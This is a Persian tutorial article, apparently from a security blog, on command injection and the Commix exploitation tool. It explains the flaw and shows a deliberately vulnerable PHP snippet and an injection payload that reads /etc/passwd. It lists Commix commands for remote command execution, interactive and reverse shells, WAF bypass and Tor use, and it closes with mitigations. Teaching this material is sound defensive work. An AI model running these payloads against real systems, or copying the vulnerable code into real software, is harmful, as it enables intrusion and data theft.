بررسی کامل Commix: ابزار تست نفوذ تزریق فرمان (Command Injection) در برنامههای وب

در دنیای امنیت سایبری، آسیبپذیریهای مختلفی وجود دارند که مهاجمان از آنها برای نفوذ به سیستمها و سرقت اطلاعات استفاده میکنند. یکی از این آسیبپذیریهای خطرناک، تزریق فرمان (Command Injection) است که در آن، مهاجم میتواند با ارسال دستورات مخرب به یک برنامهی تحت وب، کنترل بخشی از سیستم را به دست بگیرد. این نوع حمله معمولاً زمانی رخ میدهد که ورودیهای کاربر بهدرستی فیلتر نشده و مستقیماً به Shell یا سایر دستورات سیستمعامل منتقل شوند. اگر یک برنامهی وب در برابر این نوع حمله آسیبپذیر باشد، مهاجم میتواند به اطلاعات حساس دسترسی پیدا کند، فایلهای سرور را تغییر دهد یا حتی کنترل کامل آن را به دست بگیرد.
برای شناسایی و بهرهبرداری از این ضعف امنیتی، ابزارهای مختلفی توسعه یافتهاند که یکی از قدرتمندترین آنها Commix است. Commix (Command Injection Exploiter) یک ابزار متنباز و خودکار برای کشف و بهرهبرداری از آسیبپذیریهای تزریق فرمان در برنامههای وب است. این ابزار که به زبان Python نوشته شده است، به متخصصان امنیتی و تستکنندگان نفوذ کمک میکند تا سیستمها را از نظر این نوع تهدید ارزیابی کرده و اقدامات لازم برای برطرف کردن آن را انجام دهند. در این مقاله، با مفهوم تزریق فرمان، نحوه کارکرد Commix، روشهای استفاده از آن و راهکارهای مقابله با این آسیبپذیری آشنا خواهیم شد.
۱. تزریق فرمان (Command Injection) چیست؟
تزریق فرمان (Command Injection) یک نوع آسیبپذیری امنیتی در برنامههای تحت وب است که به مهاجم اجازه میدهد دستورات سیستمعامل را روی سرور اجرا کند. این آسیبپذیری زمانی رخ میدهد که یک برنامه ورودیهای کاربر را بدون بررسی و فیلترگذاری مناسب پردازش کرده و آنها را مستقیماً به یک Shell یا فرمانهای سیستمعامل ارسال میکند. در نتیجه، مهاجم میتواند با ارسال دستورات خاص، کنترل بخشی از سرور را در دست گرفته و عملیات مخربی مانند خواندن، تغییر، یا حذف فایلها، استخراج اطلاعات حساس و حتی دسترسی کامل به سرور را انجام دهد.
این حمله معمولاً در اپلیکیشنهای تحت وبی رخ میدهد که از دستورات پوستهای (Shell Commands) برای اجرای عملیات استفاده میکنند. برخی از توابعی که در زبانهای برنامهنویسی مختلف برای اجرای دستورات سیستمعامل به کار میروند و میتوانند در صورت استفاده نادرست، آسیبپذیری تزریق فرمان را ایجاد کنند عبارتند از:
- PHP:
system()
,exec()
,shell_exec()
,passthru()
,popen()
- Python:
os.system()
,subprocess.Popen()
,commands.getoutput()
- Perl:
system()
,exec()
,open()
- Bash: اجرای مستقیم ورودیهای غیر ایمن در اسکریپتهای Shell
مثال از کد آسیبپذیر در PHP
<?php $cmd = $_GET['cmd']; system($cmd); ?>
در این کد، مقدار cmd
که از کاربر دریافت شده، بدون هیچ فیلترگذاری به تابع system()
ارسال میشود. اگر مهاجم مقدار ?cmd=whoami
را در URL وارد کند، سرور نام کاربریای که تحت آن اجرا میشود را نمایش میدهد. این موضوع نشاندهندهی یک ضعف امنیتی جدی است.
نمونهای از حمله تزریق فرمان
فرض کنید در یک وبسایت، بخشی برای بررسی دسترسی یک سرور به یک مقصد خاص (Ping Test) وجود دارد. کد آسیبپذیر ممکن است بهصورت زیر باشد:
<?php $ip = $_GET['ip']; $output = shell_exec("ping -c 4 " . $ip); echo "<pre>$output</pre>"; ?>
در اینجا، اگر کاربر مقدار 127.0.0.1
را وارد کند، دستور ping
روی این IP اجرا میشود. اما مهاجم میتواند مقدار زیر را ارسال کند:
http://example.com/ping.php?ip=127.0.0.1; cat /etc/passwd
با استفاده از ;
(نقطهویرگول)، مهاجم میتواند یک دستور اضافی (cat /etc/passwd
) را اجرا کند که منجر به نمایش فایل کاربران سیستم میشود. این کار میتواند به افشای اطلاعات حساس منجر شود.
تفاوت بین تزریق فرمان و تزریق کد (Code Injection)
تزریق فرمان (Command Injection) نباید با تزریق کد (Code Injection) اشتباه گرفته شود. تفاوت این دو در این است که:
- تزریق فرمان: مهاجم میتواند از طریق ورودیهای کاربر، دستورات سیستمعامل را اجرا کند.
- تزریق کد: مهاجم قادر است کد جدیدی را به زبان برنامهنویسی مورد استفاده در اپلیکیشن تزریق و اجرا کند (مثلاً اجرای کدهای PHP در یک وبسایت).
نتایج و خطرات تزریق فرمان
تزریق فرمان میتواند پیامدهای خطرناکی داشته باشد، از جمله:
✅ دسترسی غیرمجاز به اطلاعات حساس: مهاجم میتواند فایلهای مهم را بخواند، مانند /etc/passwd
یا config.php
.
✅ تغییر یا حذف اطلاعات سرور: مهاجم میتواند فایلهای سرور را تغییر داده یا حذف کند.
✅ دسترسی به خط فرمان (Shell Access): در برخی موارد، مهاجم میتواند دسترسی پوستهای (Shell Access) داشته باشد و کنترل کامل سیستم را در اختیار بگیرد.
✅ اجرای کد مخرب یا ایجاد درب پشتی (Backdoor): مهاجم میتواند اسکریپتهای مخرب را اجرا کرده و کنترل مداوم بر سرور داشته باشد.
تزریق فرمان یکی از خطرناکترین آسیبپذیریهای امنیتی است که میتواند به مهاجمان اجازه دهد تا از طریق ورودیهای ناامن، کنترل یک سرور را به دست بگیرند. برنامهنویسان باید هنگام پردازش ورودیهای کاربر، حتماً از روشهای امن برای جلوگیری از این حمله استفاده کنند. در ادامهی مقاله، با ابزار Commix که برای کشف و بهرهبرداری از این آسیبپذیری طراحی شده است، آشنا خواهیم شد.
۲. معرفی Commix
Commix (Command Injection Exploiter) یک ابزار متنباز و خودکار برای شناسایی و بهرهبرداری از آسیبپذیریهای تزریق فرمان (Command Injection) در برنامههای تحت وب است. این ابزار که به زبان Python توسعه یافته، به متخصصان امنیت و تستکنندگان نفوذ کمک میکند تا برنامههای آسیبپذیر را شناسایی کرده و میزان خطرپذیری آنها را ارزیابی کنند. Commix بهطور خاص طراحی شده است تا تزریق فرمان را به صورت خودکار، سریع و موثر کشف کند و در صورت امکان، به مهاجم اجازه اجرای دستورات روی سرور هدف را بدهد.
چرا Commix یک ابزار مهم در تست نفوذ است؟
با افزایش پیچیدگی برنامههای وب، حملات تزریق فرمان همچنان یک تهدید جدی محسوب میشوند. بسیاری از برنامههای تحت وب در نقاطی از کد خود از دستورات سیستمعامل استفاده میکنند، اما اگر ورودیهای کاربر به درستی کنترل نشوند، این موضوع میتواند منجر به اجرای دستورات مخرب شود. Commix ابزاری است که برای خودکارسازی تستهای امنیتی در این زمینه طراحی شده است و به تستکنندگان نفوذ کمک میکند تا آسیبپذیریهای بالقوه را کشف و آنها را آزمایش کنند.
ویژگیهای کلیدی Commix
Commix مجموعهای از قابلیتهای پیشرفته را در اختیار کاربران قرار میدهد که شامل موارد زیر است:
✅ شناسایی خودکار آسیبپذیریها
Commix میتواند بهصورت خودکار نقاطی که مستعد تزریق فرمان هستند را شناسایی کرده و آنها را مورد آزمایش قرار دهد. این ابزار قادر است ورودیهای نامعتبر و فیلترنشده را تشخیص دهد و بررسی کند که آیا امکان بهرهبرداری از آنها وجود دارد یا خیر.
✅ تست و بهرهبرداری (Exploitation)
پس از شناسایی آسیبپذیری، Commix به کاربر اجازه میدهد که دستورات دلخواه سیستمعامل را اجرا کند و نتیجه را مشاهده نماید. این ویژگی به تستکنندگان نفوذ کمک میکند تا میزان خطر این آسیبپذیری را ارزیابی کرده و اقدامات مناسب برای رفع آن را پیشنهاد دهند.
✅ حالت تعاملی (Interactive Mode)
این حالت به کاربر اجازه میدهد که پس از بهرهبرداری از یک آسیبپذیری، دستورات دلخواه را مستقیماً روی سیستمعامل اجرا کند. این ویژگی شبیه به داشتن یک دسترسی پوستهای (Shell Access) است که میتواند در تستهای امنیتی بسیار مفید باشد.
✅ دور زدن فیلترها و مکانیزمهای امنیتی
Commix دارای روشهایی برای دور زدن فیلترها و مکانیزمهای امنیتی رایج مانند WAF (Web Application Firewall) است. در صورتی که سرور دارای مکانیزمهای امنیتی باشد، این ابزار میتواند روشهای جایگزین را برای تزریق فرمان امتحان کند.
✅ حالت پیشرفته (Advanced Mode)
در این حالت، Commix به کاربران امکان میدهد که حملات پیچیدهتری را طراحی کرده و روی هدف اجرا کنند. این ویژگی برای تستکنندگان نفوذ حرفهای که قصد دارند سناریوهای خاص حمله را پیادهسازی کنند، بسیار مفید است.
✅ امکان استخراج اطلاعات از سیستم هدف
Commix میتواند پس از نفوذ، اطلاعات مختلفی از سیستم هدف مانند نام کاربری، نسخه سیستمعامل، مسیرهای دایرکتوری، لیست کاربران و سایر اطلاعات مهم را استخراج کند.
✅ پشتیبانی از انواع روشهای تزریق فرمان
Commix از روشهای مختلفی برای تست و بهرهبرداری از تزریق فرمان پشتیبانی میکند، از جمله:
- روشهای ساده (Classic Command Injection): اجرای دستورات مستقیم در ورودیهای آسیبپذیر
- روشهای مبتنی بر فایل (File-based Injection): اجرای دستورات از طریق بارگذاری فایلهای مخرب
- روشهای مبتنی بر کدگذاری (Encoded Injection): دور زدن فیلترها با استفاده از تکنیکهای کدگذاری خاص
✅ امکان ذخیرهسازی و ثبت نتایج تستها
یکی از ویژگیهای مهم Commix، امکان ذخیره خروجی و لاگگیری از نتایج تستها است. این قابلیت به کارشناسان امنیت کمک میکند تا مستندات دقیقی از آسیبپذیریهای کشفشده تهیه کنند.
ساختار و معماری Commix
Commix دارای یک معماری چندبخشی است که شامل ماژولهای مختلف برای شناسایی، بررسی و بهرهبرداری از آسیبپذیریها است. این ماژولها شامل موارد زیر هستند:
🔹 ماژول کشف (Discovery Module) – برای اسکن ورودیهای آسیبپذیر در وبسایتها
🔹 ماژول بهرهبرداری (Exploitation Module) – برای اجرای دستورات و آزمایش نفوذ
🔹 ماژول دور زدن فیلترها (Bypassing Module) – برای مقابله با فایروالها و سایر مکانیزمهای امنیتی
🔹 ماژول لاگگیری (Logging Module) – برای ذخیره نتایج تستها
این ساختار به کاربران اجازه میدهد که بهصورت انعطافپذیر از ابزار استفاده کرده و بسته به سناریوی تست نفوذ خود، تنظیمات مختلفی را اعمال کنند.
موارد استفاده از Commix
✅ تست نفوذ و ارزیابی امنیتی برنامههای تحت وب
✅ بررسی آسیبپذیریهای موجود در کدهای قدیمی و بهینهسازی امنیتی
✅ آموزش متخصصان امنیت و هکرهای اخلاقی برای شناسایی ضعفهای امنیتی
✅ تست مکانیزمهای امنیتی مانند WAF و بررسی میزان مقاومت آنها در برابر حملات
Commix یک ابزار قدرتمند و کارآمد برای شناسایی و بهرهبرداری از آسیبپذیریهای تزریق فرمان است که به متخصصان امنیتی کمک میکند تا برنامههای تحت وب را بررسی کرده و نقاط ضعف آنها را کشف کنند. ویژگیهای پیشرفتهای مانند حالت تعاملی، دور زدن فیلترها، پشتیبانی از روشهای مختلف تزریق و امکان ثبت نتایج تست، این ابزار را به یکی از برترین انتخابها در زمینه تست نفوذ تزریق فرمان تبدیل کرده است. در بخشهای بعدی، نحوه نصب و استفاده از Commix را بهصورت عملی بررسی خواهیم کرد.
3. نصب Commix
برای نصب Commix، نیاز به پایتون و برخی وابستگیهای آن دارید.
نصب روی سیستمهای مبتنی بر Debian/Ubuntu:
sudo apt update sudo apt install python3 python3-pip git git clone https://github.com/commixproject/commix.git cd commix chmod +x commix.py
نصب روی Kali Linux (از قبل موجود است):
در Kali Linux، این ابزار بهطور پیشفرض نصب است، اما در صورت نیاز میتوان آن را بهروزرسانی کرد:
sudo apt update && sudo apt upgrade commix
۴. نحوه استفاده از Commix
در این بخش، به نحوه نصب و اجرای ابزار Commix میپردازیم و روشهای مختلف استفاده از آن را بررسی میکنیم. این ابزار قابلیتهای گستردهای دارد که میتوان از آن برای شناسایی و بهرهبرداری از آسیبپذیریهای تزریق فرمان در وبسایتها و برنامههای تحت وب استفاده کرد.
۱. نصب و راهاندازی Commix
برای استفاده از Commix، ابتدا باید آن را روی سیستم خود نصب کنید. این ابزار روی سیستمعاملهای مختلف لینوکس، ویندوز و macOS قابل اجرا است، اما معمولاً روی لینوکس (مخصوصاً کالی لینوکس) عملکرد بهتری دارد.
نصب در لینوکس و macOS
ابتدا Python 3 را روی سیستم خود بررسی کنید:
python3 --version
اگر نصب نیست، میتوانید آن را نصب کنید:
sudo apt update && sudo apt install python3 python3-pip -y
سپس، Commix را از طریق GitHub دریافت کنید:
git clone https://github.com/commixproject/commix.git cd commix
و برای اجرای آن، دستور زیر را بزنید:
python3 commix.py
نصب در ویندوز
۱. Python 3 را از سایت رسمی دانلود و نصب کنید.
۲. Git را نصب کنید و در CMD یا PowerShell این دستورات را اجرا کنید:
git clone https://github.com/commixproject/commix.git cd commix python commix.py
۲. اجرای Commix برای تست آسیبپذیریها
پس از نصب، میتوان Commix را برای تست آسیبپذیریهای تزریق فرمان اجرا کرد. اجرای اصلی ابزار به این صورت است:
python3 commix.py --url="<target_url>"
مثال:
python3 commix.py --url="http://example.com/vulnerable.php?id=1"
در این دستور:
--url="..."
مشخص میکند که ابزار باید روی چه وبسایتی اجرا شود.- اگر صفحه آسیبپذیر باشد، Commix دستورات مخرب را روی آن اجرا میکند.
۳. حالتهای مختلف اجرای Commix
Commix دارای گزینههای متعددی برای تست، بهرهبرداری، دور زدن فیلترها و استخراج اطلاعات است. برخی از مهمترین گزینههای آن را بررسی میکنیم.
۱. بررسی و کشف آسیبپذیریها
برای اینکه Commix بهصورت خودکار نقاط آسیبپذیر را شناسایی کند:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --batch
پارامتر --batch
باعث میشود که ابزار بدون نیاز به تأیید دستی، آزمایش را انجام دهد.
۲. اجرای دستورات روی سیستم هدف
بعد از شناسایی آسیبپذیری، میتوان از Commix برای اجرای دستورات مستقیم روی سرور استفاده کرد:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --os-cmd="whoami"
- این دستور، نام کاربریای که وبسرور تحت آن اجرا میشود را نمایش میدهد.
- اگر سرور آسیبپذیر باشد، خروجی مانند
www-data
یاapache
را دریافت خواهید کرد.
۳. ورود به یک Shell تعاملی
اگر بخواهید بعد از نفوذ، دستورات بیشتری را روی سرور اجرا کنید، میتوانید حالت تعاملی (Interactive Shell) را فعال کنید:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --os-shell
با این کار، یک محیط دستوری باز میشود که میتوانید به سرور دستورات دلخواه ارسال کنید.
۴. دریافت یک Reverse Shell
اگر بخواهید یک دسترسی دائمی روی سرور بگیرید، میتوانید یک Reverse Shell ایجاد کنید:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --reverse-shell
در این روش:
- مهاجم یک Listener روی سیستم خود راهاندازی میکند:
nc -lvp 4444
- سپس Commix یک Shell معکوس روی سرور هدف اجرا میکند که به شما دسترسی مستقیم به سرور میدهد.
۵. دور زدن مکانیزمهای امنیتی
در صورتی که سرور از WAF (Web Application Firewall) استفاده کند، میتوان از تکنیکهای دور زدن فیلترها استفاده کرد:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --tamper="base64encode"
این گزینه دستورات را کدگذاری کرده تا از شناسایی توسط WAF جلوگیری کند.
۴. استخراج اطلاعات از سرور هدف
Commix میتواند پس از نفوذ، اطلاعات مهمی از سرور استخراج کند، از جمله:
۱. نام سیستمعامل و نسخه آن
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --os-info
۲. نمایش نام کاربری که سرور تحت آن اجرا میشود
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --current-user
۳. نمایش دایرکتوری کاری سرور
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --hostname
۴. نمایش لیست کاربران سیستم
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --users
۵. استفاده از Proxy و Tor برای ناشناس ماندن
اگر بخواهید حملات خود را مخفی نگه دارید و از رهگیری جلوگیری کنید، میتوانید از پراکسی و شبکه Tor استفاده کنید:
✅ استفاده از پراکسی:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --proxy="http://127.0.0.1:8080"
✅ استفاده از Tor:
python3 commix.py --url="http://example.com/vulnerable.php?id=1" --tor
Commix یک ابزار قدرتمند برای شناسایی و بهرهبرداری از آسیبپذیریهای تزریق فرمان در وبسایتها است. این ابزار امکانات متنوعی دارد، از جمله:
✔ شناسایی خودکار آسیبپذیریها
✔ اجرای دستورات روی سرور هدف
✔ دریافت Shell تعاملی و Reverse Shell
✔ دور زدن مکانیزمهای امنیتی مانند WAF
✔ استخراج اطلاعات مهم از سرور
✔ استفاده از Tor و پراکسی برای ناشناس ماندن
به کمک این ابزار، تستکنندگان نفوذ و متخصصان امنیت میتوانند برنامههای تحت وب را ارزیابی کرده و نقاط ضعف آنها را پیدا کنند. در بخش بعدی، راهکارهای مقابله با آسیبپذیری تزریق فرمان را بررسی خواهیم کرد.
5. روشهای مقابله با حملات تزریق فرمان
برای جلوگیری از چنین حملاتی، اقدامات زیر پیشنهاد میشود:
۱. اعتبارسنجی ورودیها
- از لیست سفید (
Whitelist
) برای ورودیهای کاربر استفاده کنید. - کاراکترهای خاص مانند
; | & $ > <
را فیلتر کنید.
۲. استفاده از توابع امن
- در زبان PHP، به جای
system()
یاexec()
ازescapeshellcmd()
وescapeshellarg()
استفاده کنید.
۳. اجرای برنامه با حداقل سطح دسترسی
- به جای اجرای اسکریپتها با دسترسی root، از کاربران محدود با حداقل دسترسیها استفاده کنید.
۴. استفاده از WAF (Web Application Firewall)
- فایروالهای اپلیکیشن تحت وب میتوانند الگوهای حملات تزریق فرمان را تشخیص دهند و مسدود کنند.
نتیجهگیری
ابزار Commix یکی از قدرتمندترین ابزارها برای بررسی و بهرهبرداری از آسیبپذیریهای تزریق فرمان است. این ابزار به متخصصان امنیت و تستکنندگان نفوذ کمک میکند تا ضعفهای امنیتی را شناسایی و برطرف کنند.
با این حال، مهاجمان نیز میتوانند از Commix برای حملات مخرب استفاده کنند، بنابراین آگاهی از این نوع حملات و پیادهسازی روشهای محافظتی بسیار حیاتی است.
اگر در زمینه امنیت سایبری فعالیت میکنید، یادگیری نحوه استفاده از Commix به شما کمک خواهد کرد تا امنیت برنامههای وب را افزایش دهید و در برابر حملات احتمالی مقاوم شوید.
مطالب زیر را حتما بخوانید
-
راهنمای کامل مدرک eJPT (eLearnSecurity Junior Penetration Tester)
41 بازدید
-
راهنمای جامع Nessus Agent: نصب، پیکربندی و مدیریت در شبکههای توزیعشده
86 بازدید
-
مقایسه تست نفوذ (Penetration Testing) و ارزیابی آسیبپذیری (Vulnerability Assessment): تفاوتها، مزایا و کاربردها
80 بازدید
-
بررسی جامع ابزار Faraday در تست نفوذ و مدیریت گزارشها
77 بازدید
-
Dradis: پلتفرم مدیریت و گزارشدهی تست نفوذ
133 بازدید
-
بررسی جامع استاندارد اجرای تست نفوذ (PTES)
190 بازدید
دیدگاهتان را بنویسید
برای نوشتن دیدگاه باید وارد بشوید.